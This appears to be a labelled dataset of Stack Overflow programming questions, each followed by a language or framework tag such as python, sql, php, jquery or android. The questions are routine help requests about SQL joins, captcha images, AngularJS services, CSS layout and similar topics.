counting the number of unique words in a document with python  i am  python newbie trying to understand the answer given <a href= https://stackoverflow.com/questions/914382/how-can-i-count-unique-terms-in-a-plaintext-file-case-insensitively/930185#930185 >here</a> to the question of counting unique words in a document. the answer is:   <pre><code>print len(set(w.lower() for w in open( filename.dat ).read().split())) </code></pre>  <blockquote>    reads the entire file into memory  splits it into words using   whitespace  converts each word to lower case  creates a (unique) set   from the lowercase words  counts them and prints the output  </blockquote>   to try understand that  i am trying to implement it in python step by step. i can import the text tile using open and read  divide it into individual words using split  and make them all lower case using lower. i can also create a set of the unique words in the list. however  i cannot figure out how to do the last part - count the number of unique words.    i thought i could finish by iterating through the items in the set of unique words and counting them in the original lower-case list  but i find that that the set construct is not indexable.     so i guess i am trying to do something that in natural language is like  for all the items in the set  tell me how many times they occur in the lower case list. but i cannot quite figure out how to do that  and i suspect some underlying misunderstanding of python is holding me back.   <ul> <li>edit - </li> </ul>   guys thanks for the answers. i have just realised i did not explain myself correctly - i wanted to find not only the total number of unique words (which i understand is the length of the set) but also the number of times each individual word was used  e.g.  the  was used 14 times   and  was used 9 times   it  was used 20 times and so on. apologies for the confusion.,python
fastest way of doing an intersection   i have two lists. the first has coordinates on the plane which represents a path  the other has coordinates on the plane which represent the score for each tile  with a score associated. i want to calculate the score of the path which is the sum of the score of each tile that the path is on. example:   <pre><code>path = [ (3 4)  (4 5) ] plane = [ (3 4 50)  (4 5 75)  (6 7 100) ] </code></pre>   (the score of the path would be 50+75=125)    speed is important. plane has of the order of hundred elements  path has of the order of tens. i was thinking intersection of sets  like:   <pre><code>set(path).intersection( {p[:2] for p in plane} ) </code></pre>   the problem is that then i m not keeping track of the scores.    i m sure there must be a simple way to do this.,python
how to write a new line character using binarywriter  i am using a bianryreader to read the contents of binary file and convert the binary data to a double array.    contents of binary file   <pre><code>header axis values points values </code></pre>   after the axis values are written   the points values to be written in a new line. i am just writing a sample how i am creating a new line    <pre><code>binarywriter abinarywriter = new binarywriter(new filestream( c:\\newline.txt  filemode.openorcreate)); abinarywriter.write( \r\n ); abinarywriter.close(); </code></pre>   writing parts works fine.   <h2>reading part:</h2>   i want to read the point values  so i moving the file pointers by 2 location reason to skip the new line character. but what i am seeing is there are 3 characters with the ascii value  2 13 10 .   <ol> <li>what is the reason to have 3 ascii values </li> <li>how to introduce a new line character( \r\n ) in a binary file.</li> </ol>   code:   <pre><code>binaryreader abinread = new binaryreader(new filestream( c:\\newline.txt  filemode.openorcreate)); while (abinread.peekchar() != -1) {     char achar = abinread.readchar();     console.writeline(achar);  }  abinread.close(); </code></pre>,c#
tablea left join (a subset of) table b  i want to left join tablea to tableb where a certain condition in tablea is true so i do this type of sql query   <pre><code>select * from tablea left join tableb on tablea.fld1 = tableb.fld2 where tablea.fld3 = true </code></pre>   this works ok. now however i want to do the join only with certain records in tableb  ie those records in tableb where a certain condition is met  specifically <em>fld4</em> has <strong>false</strong> as its value. the reason i want to do this is i want to know which rows in tablea don t have a match in tableb among the rows in tableb where <em>fld4</em> is <strong>false</strong>.    if i was to delete all the rows in tableb where <em>fld4</em> is <strong>true</strong> and run the above query i d get the correct result. all i d need to do is find the rows in the resultant recordset  with null in some cell. but if instead of deleting rows from tableb first i alter the query to the one below i get no rows at all returned   <pre><code>select * from tablea left join tableb on tablea.fld1 = tableb.fld2 where tablea.fld3 = true and tableb.fld4 = false </code></pre>   if my ramblings make sense can someone tell me what i m doing wrong  thanks,sql
can asp.net web application communicate with standalone visual c++ application   can i integrate a asp.net website with visual c++ standalone application   the request should go from asp.net website to visual c++ application and the result should be used by asp.net website,asp.net
error generating captcha image on php script  i m trying to make an algorithm to make captcha validation but the script is returning the error  the image  <a href= http://localhost/cptest/captchateste.php  rel= nofollow >http://localhost/cptest/captchateste.php</a>  cannot be displayed because it contains errors.     probably the wrong part is in one of those two loops but i don t have much experience with php and can t go along with it. what can be wrong here  thanks   <pre><code>&lt; php session_start();  $width  = 120; $height =  40; $length =   5;  $baselist =  0123456789abcdfghjkmnpqrstvwxyzabcdefghijklmnopqrstuvwxyz ;  $code    =   ; $counter = 0;  $image = @imagecreate($width  $height) or die( cannot initialize gd! );  for( $i=0; $i&lt;10; $i++ ) {    imageline($image mt_rand(0 $width)  mt_rand(0 $height)  mt_rand(0 $width)  mt_rand(0 $height) imagecolorallocate($image  mt_rand(150 255) mt_rand(150 255)  mt_rand(150 255))); }  for( $i=0  $x=0; $i&lt;$length; $i++ ) {    $actchar = substr($baselist  rand(0  strlen($baselist)-1)  1);    $x += 10 + mt_rand(0 10);    imagechar($image  mt_rand(3 5)  $x  mt_rand(5 20)  $actchar imagecolorallocate($image  mt_rand(0 155)  mt_rand(0 155) mt_rand(0 155)));    $code .= strtolower($actchar); } header( content-type: image/jpeg ); imagejpeg($image); imagedestroy($image); $_session[ securitycode ] = $code;  &gt; </code></pre>,php
how to set a default value for one column in sql based on another column  i m working with an old sql 2000 database and i don t have a whole lot of sql experience under my belt. when a new row is added to one of my tables i need to assign a default time value based off of a column for work category.    for example  work category a would assign a time value of 1 hour  category b would be 2 hours  etc...    it should only set the value if the user does not manually enter the time it took them to do the work. i thought about doing this with a default constraint but i don t think that will work if the default value has a dependency.    what would be the best way to do this,sql
concatenation of data does not occur   <strong>strange situation  i can not concatenate 2 lines in jquery:</strong>   <pre><code>block_header_audience.html( text   + groups_info[group_block_id - 1].groupname.touppercase()); </code></pre>   <strong>where:</strong>    <pre><code>block_header_audience - selector  groups_info[] - object  groups_info[group_block_id - 1].groupname.touppercase() =  value  </code></pre>   as a result  i have only leaves the string  value    text   is not attached to the string.     how do i fix this situation,jquery
how to change html text to logo on hover  i can t seem to find a solution that works online so i thought i would ask on here. so  i want to have my page menu to display my logo when i hover over it. i don t mind using javascript or just plain html and css. any help would be appreciated.   <pre><code>&lt;li&gt;&lt;a href= index.html &gt;home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= contact.html &gt;contact&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= refrences.html &gt;refrences&lt;/a&gt;&lt;/li&gt; </code></pre>,html
how to get a specific information from the header of a netcdf file using python   i have several necdf files and i need to read the value of  <code> aod550:scale_factor </code> and <code> aod550:add_offset </code> because they are different for different files. they are located in the header of my netcdf files and are additional information of <code> short aod550 </code> (the variable which i m interested). the part of the netcdf header looks like this:    variables:   <pre><code>short aod550(time  latitude  longitude) ;     aod550:scale_factor = 1.44701502281421e-05 ;     aod550:add_offset = 0.474128942375304 ;     aod550:_fillvalue = -32767s ; </code></pre>   is there any command to read this information in python  i m thinking in something similar to read variables. i can read the values of variable <code>aod550</code> using <code>aod =  my_netcdf_file .variables[ aod550 ]</code> but it doesn t work with  <code> aod550:scale_factor </code> or  <code> aod550:add_offset </code> because they aren t variables.    anyone have any ideas,python
meaning of static nsmutablearray and multi thread usage  what exactly <code>static</code> do in following codes and when should i or  better use <code>static</code> :   <pre><code>// returns an array of 30 odd numbers - (nsarray *)odds { static nsmutablearray *odds; odds = [[nsmutablearray alloc] init]; int i = 1; while ([odds count] &lt; 30) { [odds addobject:[nsnumber numberwithint:i]]; i += 2; } return odds; } </code></pre>,objective-c
ruby on rails testing password presence fails  i wanted to test that password should be present for a user signup.  in my test:    <pre><code>def setup   @user = user.new(name:  foobar   email:  foobar@gmail.com                    password:  password                    password_confirmation:  password ) end  test  password can t be blank  do   @user.password = nil   assert_not @user.valid  end </code></pre>   user model:    <pre><code>validates :name  presence: true  length: { maximum: 20 }  valid_email_regex = /\a[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i validates :email  presence: true  length: { maximum: 255 }                  format:  { with: valid_email_regex }                  uniqueness: { case_sensitive: false}  has_secure_password validates :password  presence: true  length: { minimum: 8} </code></pre>   this test passes fine  but if i change it to @user.password =     the test fails. could anyone help me understand why  what is the difference here for password  for emails  i used    and it worked fine.    thanks !,ruby-on-rails
jquery scrolltop won t check when document loaded  i want to check if a document is scrolled to an amount of pixels in relation to my navigation (nav):   <pre><code>$(function(){     var stickymenutop = $( nav ).offset().top + 100;          $(window).on( scroll load  function(e){             if( $(window).scrolltop() &gt; stickymenutop ) {                 $( nav ).addclass( scrollto )                 $( .navi-top ).addclass( scrollto )                 $( .navi-top a ).css( opacity    1  )             } else {                 $( nav ).removeclass( scrollto )                 $( .navi-top ).removeclass( scrollto )                 $( .navi-top a ).css( opacity    0  )             }         });      }); </code></pre>   it works but when i reload the page and i have scrolled down before it doesn t work. i have to scroll to top first then reload. how can i do it that if i reload the page when i have already scrolled down,jquery
why doesn t it display the names   this website is supposed to display people s names in the boxes  but they re not there.    link to the website: <a href= http://dorkhub.tdoyle.tk/  rel= nofollow >http://dorkhub.tdoyle.tk/</a>    this is the code:       <pre><code>$query1 = mysqli_query($avar   select name from users     order by rand() ); $aname1 = mysqli_fetch_row($query1); $name1 = $aname1[ name ];  $query2 = mysqli_query($avar   select name from users     order by rand() ); $aname2 = mysqli_fetch_assoc($query2); $name2 = $aname2[ name ];   &gt;  &lt;title&gt;dorkhub. the online name-rating website.&lt;/title&gt; &lt;link rel= stylesheet  type= text/css  href= style.css &gt; &lt;body bgcolor= eaeaea &gt; &lt;center&gt; &lt;div id= title &gt;     &lt;h2&gt;dorkhub. the online name-rating website.&lt;/h2&gt; &lt;/div&gt;     &lt;p&gt;     &lt;br&gt;     &lt;h3&gt;&lt; php echo $name1;  &gt;&lt;/h3&gt;&lt;h4&gt; against &lt;/h4&gt;&lt;h3&gt;&lt; php echo $name2;  &gt;&lt;/h3&gt;     &lt;br&gt;&lt;br&gt;     &lt;h2 style= font-family:arial  helvetica  sans-serif; &gt;who s sounds the dorkiest &lt;/h2&gt;     &lt;br&gt;&lt;br&gt;     &lt;div id= vote &gt;     &lt;h3 id= done  style= margin-right: 10px &gt;vote for first&lt;/h3&gt;&lt;h3 id= done &gt;vote for last&lt;/h3&gt; </code></pre>,php
alternative to document.write javascript   i had a working alternative i think.... i believe i erased it now i can not find it. does anybody know an alternative to document.write javascript  here is the code:   <pre><code>document.write( &lt;div id= mydiv1 &gt;&lt;/div&gt; ); </code></pre>   does anybody know an alternative to document.write javascript,javascript
sql query a range of records that fall within a min and max value  for my realty site i would also like to return the properties that fall within the user s requested price range from two drop down lists <code>minprice</code> and <code>maxprice</code> (which are also the field values).    below is my statement thus far. it is working properly aside from the above requirement.   <pre><code>select busname  email  render_pic          area logo  url  email  map          description  tag  catch_phrase  region from   results where  style like  varstyle      and region like  varregion      and bedrooms like  varbedrooms      and bathrooms like  varbathrooms  order by id desc </code></pre>   thank you so much in advance!,sql
sql query to calculate running group counts on time-phased data  i have some data  like this:   <pre><code>bug  date                   status ---- ---------------------- -------- 9012 18/03/2008 9:08:44 am  open 9012 18/03/2008 9:10:03 am  open 9012 28/03/2008 4:55:03 pm  resolved 9012 28/03/2008 5:25:00 pm  closed 9013 18/03/2008 9:12:59 am  open 9013 18/03/2008 9:15:06 am  resolved 9013 18/03/2008 9:16:44 am  closed 9014 18/03/2008 9:17:54 am  open 9014 18/03/2008 9:18:31 am  resolved 9014 18/03/2008 9:19:30 am  closed 9015 18/03/2008 9:22:40 am  open 9015 18/03/2008 9:23:03 am  resolved 9015 19/03/2008 12:27:08 pm closed 9016 18/03/2008 9:24:20 am  open 9016 18/03/2008 9:24:35 am  resolved 9016 19/03/2008 12:28:14 pm closed 9017 18/03/2008 9:25:47 am  open 9017 18/03/2008 9:26:02 am  resolved 9017 19/03/2008 12:30:30 pm closed </code></pre>   which i would like to transform into something like this:   <pre><code>date                       open resolved   closed ---------------------- -------- -------- -------- 18/03/2008 9:08:44 am         1        0        0 18/03/2008 9:12:59 am         2        0        0 18/03/2008 9:15:06 am         1        1        0 18/03/2008 9:16:44 am         1        0        1 18/03/2008 9:17:54 am         2        0        1 18/03/2008 9:18:31 am         1        1        0 18/03/2008 9:19:30 am         1        0        2 18/03/2008 9:22:40 am         2        0        2 18/03/2008 9:23:03 am         1        1        2 18/03/2008 9:24:20 am         2        1        2 18/03/2008 9:24:35 am         1        2        2 18/03/2008 9:25:47 am         2        2        2 18/03/2008 9:26:02 am         1        3        2 19/03/2008 12:27:08 pm        1        2        3 19/03/2008 12:28:14 pm        1        1        4 19/03/2008 12:30:30 pm        1        0        5 28/03/2008 4:55:03 pm         0        1        5 28/03/2008 5:25:00 pm         0        0        6 </code></pre>   i.e. keeping running counts of bugs with each status.    this is easy enough to code up using cursors  but i m wondering if any of you sql gurus out there can help with a query to achieve this     ideally for <code>mysql</code>  but i m curious to see anything that will work.,sql
sql difference between in and or in where  what is the difference between the following two commands    <pre><code>select * from table where id in (id1  id2  ...  idn) </code></pre>   and   <pre><code>select * from table where id = id1 or id = id2 or ... or id = idn </code></pre>   which one is faster  and will it be different if <code>id</code> is another type,sql
how to pass already-fetched data to a controller when it s expecting a promise  i have a service in angular that fetches a list of querys from a database table.  the user selects one and moves on to another view to work with it.  when the user clicks back to the first view though  i d like to avoid re-fetching the query list.  the query list is stored in the service but i m having a hard time handing it back to the controller given that my fetch routine uses .then and promises.   <pre><code>app.service( queryservice   function ($http)  {   var querys        = new object();    this.loadquerylist = function()    {     if (querys!=null)     {       //how to return the querys list here   caller expecting a promise     }         var promise = $http.post( php/datapump.php   { action:  fetch   item:  querys   id1: null  id2: null})       .then(function (response)        {          querys=response.data;          return querys;       });     return promise; // return the promise to the controller   }; }); </code></pre>   in the controller initialization the service is called with:   <pre><code>queryservice.loadquerylist().then(function(d)  {   $scope.querys = d;   $scope.selectedquery=queryservice.getselectedquery(); }); </code></pre>   or is there a better method altogether   i can imagine setting some flag in the service to get around this but it seems ugly.  i simply want to avoid fetching the data a 2nd time.,angularjs
script no longer running  this is a script that was working on line and still is on my production pc. for some reason it is no longer working. it seems to never return a status of  200 . so never completes. i suspect it is the providers fault somehow  but no idea what or why.   <pre><code>function loadcoments(selected_video_id){ if(selected_video_id == 0){ document.getelementbyid( videocoments ).innerhtml =  &lt;div align= center &gt;&lt;font size= +2 &gt;no coments for play list&lt;/font&gt;&lt;/div&gt; ; } else { // create our xmlhttprequest object var hr = new xmlhttprequest(); // create some variables we need to send to our php file var url =  video_coments.php ; var vars =  selected_video_id= +selected_video_id; hr.open( post   url  true); // set content type header information for sending url encoded variables in the request hr.setrequestheader( content-type    application/x-www-form-urlencoded ); // access the onreadystatechange event for the xmlhttprequest object hr.onreadystatechange = function() {     if(hr.readystate == 4 &amp;&amp; hr.status == 200) {         var return_data = hr.responsetext;         document.getelementbyid( videocoments ).innerhtml = return_data;     } } // send the data to php now... and wait for response to update the status div hr.send(vars); // actually execute the request document.getelementbyid( videocoments ).innerhtml =  &lt;div align= center &gt;&lt;font size= +2 &gt;processing...&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; ; } } </code></pre>   my console gives this.   <pre><code>script7002: xmlhttprequest: network error 0x2ef3  could not complete the operation due to error 00002ef3. </code></pre>   if this code is outdated  can someone help with a better one that still works.,javascript
mapview - change map center point  i have this view with a map that covers most of the screen s area. on top of the map  i have some images  buttons  text boxes. they re located in the top portion of the map  which i m calling here  useless map   while the bottom part is for actually viewing the map. this is the  useful map . by default  the map property centercoordinate is the center with respect to the full map  as seen as the red circle in the image:    <img src= https://s9.postimg.org/8vml1ss33/map_question.png  alt=   title= image >    the useful map is marked in green  and i wanted the green circle to be used as a center point. i can center the map or add a pin  for instance  in that precise point by adding or subtracting from the coordinate s latitude  but the actual value i need to add depends on the zoom level.    is it possible to change the map center point  or make any changes that can make the map act as if that point (the green circle) is the center     the purpose of this is that i want to drop a pin at (or move the current pin to) the pseudo-center point (the green one) every time the user drags the map. so to do this  i d need to get the centercoordinate (the red one) and then add an offset.,ios
how is relative positioning specified in favicon links  for example <code>utexas.edu</code> prepend the path with a <code>/</code>   <pre><code>&lt;link rel= shortcut icon  href= /sites/default/files/webcentral_favicon_0.ico  type= image/x-icon  /&gt; </code></pre>   <code>columbia.edu</code> does not  it just starts with the folder name or path   <pre><code>&lt;link rel= shortcut icon  href= sites/all/themes/base/columbia2/images/favicon-crown.png  type= image/x-icon  /&gt; </code></pre>   both of these are relative  but i need a way to differentiate from absolute pahts.    how can i progrmatically tell when i m working with a relative path or an absolute path,html
error: unexpected eof while parsing - what is it in python   what i m doing wrong here  i m beginner in python  so wanna to use modulo   <pre><code>import math  x = int(input( type number x:  )) y = int(input( type number for y: ))  print(math.fmod(x % y)) </code></pre>   and next one:   <pre><code>def modulo(x  y):                             return math.fmod(x  y) </code></pre>   during using this code  i m getting error like this:    <pre><code>&gt;    print(math.fmod(x % y)) &lt;br&gt; typeerror: fmod expected 2 arguments  got 1 </code></pre>,python
date picker leaks while using arc in xcode 4.5 <pre><code>  self.date = d;   [self.datepicker setdate:date];   self.dateformatter = [[nsdateformatter alloc] init];   [dateformatter settimestyle: 0];   [dateformatter setdatestyle:nsdateformattermediumstyle];   self.datetext.text = [dateformatter stringfromdate:date]; </code></pre>   uidevice rgb color and cgcolor are the leaks,objective-c
jquery resize not working at firefox  chrome and safari <pre><code>$( #dvmydiv ).bind( resize   function(){     alert( resized ); }); </code></pre>   or   <pre><code>$( #dvmydiv ).resize(function(){     alert( resized ); }); </code></pre>   the questions   <ol> <li>why is this not working at firefox  chrome and safari </li> <li>can this be considered a jquery bug since the resize is not handled for other browsers </li> <li>could the only workaround be calling a settimeout function checking the clientheight and clientwidth </li> <li>any workarounds using jquery </li> </ol>,jquery
not able to call service from angularjs controller  i ve defined 1 service to fetch the category and controller to call the service.   <pre><code>var req = {     method:  post       url:  http://localhost/cgi-bin/supercategory.pl       headers: {  content-type : undefined }      data: { action:  get  } };   sampleapp.factory( supercategoryservice   [ $http   function ($http){     return {         getsupercategories: function () {             return $http(req)                 .then(                 function(response)                  {                     if (typeof response.data ===  object )                      {                         alert ( right );                         //return response.data;                     }                      else                      {                         alert ( wrong );                         // invalid response                         //return $q.reject(response.data);                     }                  }                   function(response) {                     alert ( again worng );                     // something went wrong                     //return $q.reject(response.data);                 });             }         }; }]);   sampleapp.controller( supercategorycontroller   [ $scope    supercategoryservice   function ($scope  supercategoryservice){      $scope.supercategories = function() {          supercategoryservice.getsupercategories()             .then(function(d) {                 alert (d);                 if (d != undefined) {                     alert ( in );                     // your data should be loaded here                     console.log(d.data);                     alert (d);                     $scope.supercategories = d.data;                 }                 else                 {                     alert ( here );                 }             })             .error(function(data  status) {                 // errors here             });     }  }]); </code></pre>   even though i am calling the service in controller  but its not hitting to any of the alert in service. (not even error case)    what can be the problem  any help will be highly appreciated.,angularjs
select only months which have data for a specified year  i would like a query which selects only those month s which have data for a specified year but i m not quite sure how to achieve this. here is what i have got so far:   <pre><code>select month(dateraised) as  month  from complaints where     (select count(*)      from complaints      where year(dateraised) = 2000) &gt; 0 group by month(dateraised) order by month(dateraised) </code></pre>   so if my data had a complaint from may  august and december in 2000  then i would only like <code>5  8 and 12</code> to appear in my query  is this possible,sql
android : malformedurlexception: protocol not found  how to solve this  any help    <pre><code>error : java.net.malformedurlexception: protocol not found: /mnt/sdcard/ereader/newforestponies/oebps/content.opf </code></pre>   code:   <pre><code>     //getting the xhtml file names                 documentbuilderfactory dbf = documentbuilderfactory.newinstance();                 documentbuilder db = dbf.newdocumentbuilder();                 string                  document doc = db.parse(new inputsource(environment.getexternalstoragedirectory()+ /ereader/ +book_name+ /oebps/content.opf )); //error here                 doc.getdocumentelement().normalize();            ..........           ...... </code></pre>   edit: for sax parser:    <pre><code>  datasaxhandler myxmlhandler = new datasaxhandler();             xr.setcontenthandler(myxmlhandler);             xr.parse(new inputsource(paths.getbookstorepath()+bookname+ /oebps/content.opf )); </code></pre>,android
how to find a child control nested in div tags in asp.net  hi i want to find an image button control which is in a table which is nested in 3 div tags actually it returns null if i use the below code   <pre><code>for (int j = 1; j &lt; 38; j++) {     string s =  ib_s  + j;     imagebutton img = (imagebutton)findcontrol(s.tostring());     if (status[j] ==  b )     {         img.imageurl =  ~/graphics/booked.jpg ;         img.enabled = false;     }     else     {         img.imageurl =  ~/graphics/available.jpg ;     } } </code></pre>   as i wanted to find image buttons with id s ib_s1  ib_s2 .... and change the image url.    and i use a master page for this page  so please help me.,asp.net
why does function findallby crash when i try to get data by the field group  i m using flavorphp framework so i have my user table with the field group... i need to get all data with the group = x value  like this:    <code>$this-&gt;findallby( group   $x);</code>    but it crashes... any idea,php
strongly typed dataset modification breaks binding  i m building a winform app which uses datagrids  lists  textboxes which are bound to columns in a strongly typed dataset which is part of my project. i am having issues when i want to add an extra column at design time to one of the tables in the dataset where once i ve added it and then save it  then my winform loses bindingsource s and individual controls which relied on the particular binding source being lost having there bound data source definitions lost.    the datatable i am modifying does not have any relationship to the table that is used by the bindingsource which is being lost.    the reason why this is causing me a rpoblem is that i lose all bindings each time i make a change in the ataset and it becomes very cumbersome to redefine the bindings again and again just for one little change.    any help would be appreciated.,c#
listfragment overlap  i want to create a list of music  but when i called the listfragment happens a overlap with previus layout    <a href= https://i.stack.imgur.com/b2ns6.png  rel= nofollow noreferrer >layout</a>    <a href= https://i.stack.imgur.com/cbtx8.png  rel= nofollow noreferrer >list</a>    this is my code mainactivity.java   <pre><code>public class mainactivity extends appcompatactivity { fragment_list fl; fragmentmanager fm; fragmenttransaction ft; button btn; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);   }  public void click(view v) {     btn=(button)findviewbyid(r.id.button);     btn.settext( ok );     fl=new fragment_list();     fm=getsupportfragmentmanager();     ft=fm.begintransaction();     ft.addtobackstack(null);     ft.replace(r.id.contenedor fl);     ft.settransition(fragmenttransaction.transit_fragment_fade);     ft.commit();  } </code></pre>   }    this is the listfragment code:   <pre><code>public class fragment_list extends listfragment {  mediaplayer player; @override public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestatus) {     file scan= environment.getexternalstoragepublicdirectory(environment.directory_music);     file [] list=scan.listfiles();     arrayadapter&lt;file&gt;adapter=new arrayadapter&lt;file&gt;(getcontext() android.r.layout.simple_list_item_1 list);     setlistadapter(adapter);     return super.oncreateview(inflater container savedinstancestatus); }  @override public void onlistitemclick(listview l view v int position long id) {     toast.maketext(getactivity()  posicion +getlistadapter().getitem(position) toast.length_short).show();     player= mediaplayer.create(getactivity()  uri.parse(string.valueof(getlistadapter().getitem(position))));     player.setlooping(true);     player.start(); } </code></pre>   }    i just want a listfragment that can use addtoback  if i use fragmenttransition happens a overlap but addtoback works and if i use a xml fragment there is no overlap but i don t know how to use addtoback,android
php long running script alternative   i m trying to download a file from a remote server with <code>file_put_contents</code>.  this script is called via ajax.  the problem i m having is the script timeout when the file is large e.g. (500mb). i get <strong>504 gateway timeout - nginx</strong>      download.php       $destination =  /home/mywebsite/public_html/wp-content/channels/videos/test.mp4 ;   <pre><code>    $link =  http://www.example.com/videos/movie.mp4 ; //500mb     $result = file_put_contents($destination  fopen($link   r )); </code></pre>   i m using dedicated hosting.  i ve changed my php.ini and confirmed in <code>phpinfo();</code>    <code>max_execution_time 7200 max_input_time  7200 max_input_vars  1000 memory_limit    -1 output_buffering    4096 post_max_size   1200m upload_max_filesize 1000m</code>    this script keeps timing out.  is there another solution how do i solve   when i check the directory the file is successfully downloaded but the page times out.  so i can t return any data via ajax.    how do i solve,php
how to make two floating div elements on the same line   i am trying to make two elements on the same line  with one floating left and the other floating right. the first one is just basic text and the second is a search box (it has a css to go with it  but i won t include that here). they are both aligned properly but the search box is one line beneath the text. your help is greatly appreciated.   <pre><code>     &lt;div id= outer  style= width:100% &gt;        &lt;div id= inner &gt;      &lt;div class= toolbar-wrapper wrapper &gt;      &lt;div class= toolbar span12 clearfix &gt;      &lt;ul class= unstyled &gt;       &lt;div id=123a style= float: left; text-align: left; &gt;made with ♡ in canada ― est. 2014&lt;/div&gt;       &lt;div id=123b style= float: right; text-align: right; &gt;       &lt;li class= search-field fl &gt;         &lt;form class= search  action= /search &gt;           &lt;input type= image  src= http://cdn.shopify.com/s/files/1/0682/0041/t/1/assets/icon-search.png 56  alt= go  id= go &gt;           &lt;input type= text  name= q  class= search_box  placeholder= search  value= {{ search.terms }}   /&gt;         &lt;/form&gt;       &lt;/li&gt;       &lt;/div&gt;     &lt;/ul&gt; &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;       &lt;/div&gt; </code></pre>,html
how to search the memory of an open process for a byte[] array  is it possible  in c# to search the memory of an open process byte[] array for a pattern  e.g. { 0x97  0x35  0x15  0xc3      0x80  0xe4} and return the address   so then i can use the address in writeprocessmemory,c#
macro magic need to be explained c++  i ve encountered with this code  can someone enlighten me how it works    <pre><code>    #define macro_class( class_name ) \                                             \     public:                                 \        some public things                   \                                             \     private:                                \        class_name();                        \       ~class_name();                        \                                             \ </code></pre>   and then this macro used within other class   <pre><code>    class __declspec(dllexport)  class: a b c     {     public:          ....          macro_class( class )//what happens over here           ....     } </code></pre>   does macro_class imports all of his stuff in class or something else happens,c++
how can i remove external storage with root priviligies or not   i have <code>isexternalstorageremovable()</code> in my code. after calling this function  anyone want to remove the external storage. however  i do not know how. how can i remove external storage with root priviligies or not      preferable answer ;   <ul> <li>eject </li> <li>safely remove device </li> </ul>,android
is there a way to find the transportation mode in ios using core location  i am writing an app which need to find the user transportation activity (like user is traveling in car or public transit or walking ). can any one please help me out .,ios
how to change screen brightness when entering background  i have a  low power  mode in my app that dims screen to 0 brightness. i d like to restore the brightness when user backgrounds the app.  i am calling   <pre><code>[uiscreen mainscreen].brightness = 1.0f; </code></pre>   in my uiapplicationdidenterbackgroundnotification handler code  but it doesn t work. (my app doesn t have access to mainscreen at that moment anymore )    is there a way to do this  i couldn t find anything that gives a willenterbackground effect.,objective-c
horizontal scroll with dynamic elements  i have squared elements that will appear on the screen extension in a row.    these elements come dynamically then i have 2 as i have 50. depending on the size of the screen and how many elements that i have i will have a overflow. when this happens i want to display a horizontal scroll.    follow <a href= http://jsfiddle.net/m5x3a/  rel= nofollow >here</a> the fiddle that i tried    the code:    html   <pre><code>&lt;div class= wrap-poltrona &gt;     &lt;div class= poltrona &gt;&lt;/div&gt;     &lt;div class= poltrona &gt;&lt;/div&gt;     ...     &lt;div class= poltrona &gt;&lt;/div&gt;     &lt;div class= poltrona &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.wrap-poltrona{ } .poltrona{     width: 100px;     height: 100px;     background-color: red;     float: left;     margin: 5px; } </code></pre>,css
placing image on bottom right corner of table cell does not work in firefox and safari  i have the following table structure in my aspx page. i need to place the image at bottom right corner of a table cell. the code below works fine for ie and chrome. but in firefox and safari  the image is displayed at the bottom right corner of the row  and not the cell.   <pre><code>  &lt;table style= width:100% &gt;     &lt;tr&gt;      &lt;td valign= top  style= width:20%; position:relative &gt;       &lt;div&gt;          //some controls here       &lt;/div&gt;        &lt;img src= ~/images/index.jpg  runat= server  style= position:absolute; right:0; bottom:0 /&gt;       &lt;/td&gt;      &lt;td valign= top  style= width:80% &gt;       &lt;div&gt;         //control here        &lt;/div&gt;      &lt;/td&gt;     &lt;/tr&gt;     &amp;nbsp;     &lt;tr&gt;      &lt;td align= center  colspan= 1  style= width: 20% &gt;        //control here       &lt;/td&gt;       &lt;td align= center  colspan= 2  style= width: 80% &gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td align= center  style= width:100%  colspan= 2 &gt;        //control here        &lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt; </code></pre>   please help with this!! thanks.,asp.net
mysql triggers and stored procedures diff  are stored precedures  triggers     i was asked to write a mysql script file and develop database  on a server that does not support triggers. so my question is  since i can t use triggers  then i can t use stored procedures right,mysql
picture location in html  anyone knows   i m new to html. i have this code which makes 9 picutres with html:   <pre><code>&lt;a href=  &gt;&lt;img src= fotos/photo.jpg  style= width: 160px; height: 160px; &gt;&lt;/a&gt; </code></pre>              i was wondering how i can make these pictures like this:     <a href= https://gyazo.com/cde734a459da86698fcb60363cdea272  rel= nofollow noreferrer >https://gyazo.com/cde734a459da86698fcb60363cdea272</a>    would it be better to use a framework with this or in html,html
jquery search for text  then get parent. then insert new data  the goal of this is not to redesign my html or to use a different css selection method. then goal of this is to:    using jquery to:   <ul> <li>find the <code>&lt;span&gt;</code> that contains  walnuts </li> <li>get the parent element <code>&lt;p&gt;</code></li> <li>insert a new <code>&lt;p&gt;&lt;span&gt;...</code> after that element.</li> </ul>   i m not looking for a different way to insert  cashews  after walnuts. i m solely looking for the procedure that is mentioned above.    here s a fiddle --><a href= http://jsfiddle.net/v3uca  rel= nofollow >http://jsfiddle.net/v3uca</a>    html:   <pre><code>&lt;div class= master &gt;   &lt;div class= big1 &gt;     &lt;p class= medium1 &gt;         &lt;span&gt;peanuts&lt;/span&gt;     &lt;/p&gt;     &lt;p class= medium1 &gt;         &lt;span&gt;walnuts&lt;/span&gt;     &lt;/p&gt;     &lt;p class= medium1 &gt;         &lt;span&gt;pecans&lt;/span&gt;     &lt;/p&gt;   &lt;/div&gt; &lt;/div&gt; &lt;div class= master &gt;   &lt;div class= big1 &gt;     &lt;p class= medium1 &gt;         &lt;span&gt;bananas&lt;/span&gt;     &lt;/p&gt;     &lt;p class= medium1 &gt;         &lt;span&gt;apples&lt;/span&gt;     &lt;/p&gt;     &lt;p class= medium1 &gt;         &lt;span&gt;oranges&lt;/span&gt;     &lt;/p&gt;   &lt;/div&gt; &lt;/div&gt; &lt;br/&gt; &lt;br/&gt; &lt;button id= clickme &gt;click me&lt;/button&gt; </code></pre>   jquery:   <pre><code>$(document).ready(function() {   $( #clickme ).click(function() {     $( .big1 &gt; p &gt; span:contains( walnuts ) )         .parent()         .insertafter( &lt;p class= medium1 &gt;&lt;span&gt;cashews&lt;/span&gt;&lt;/p&gt; );    }); }); 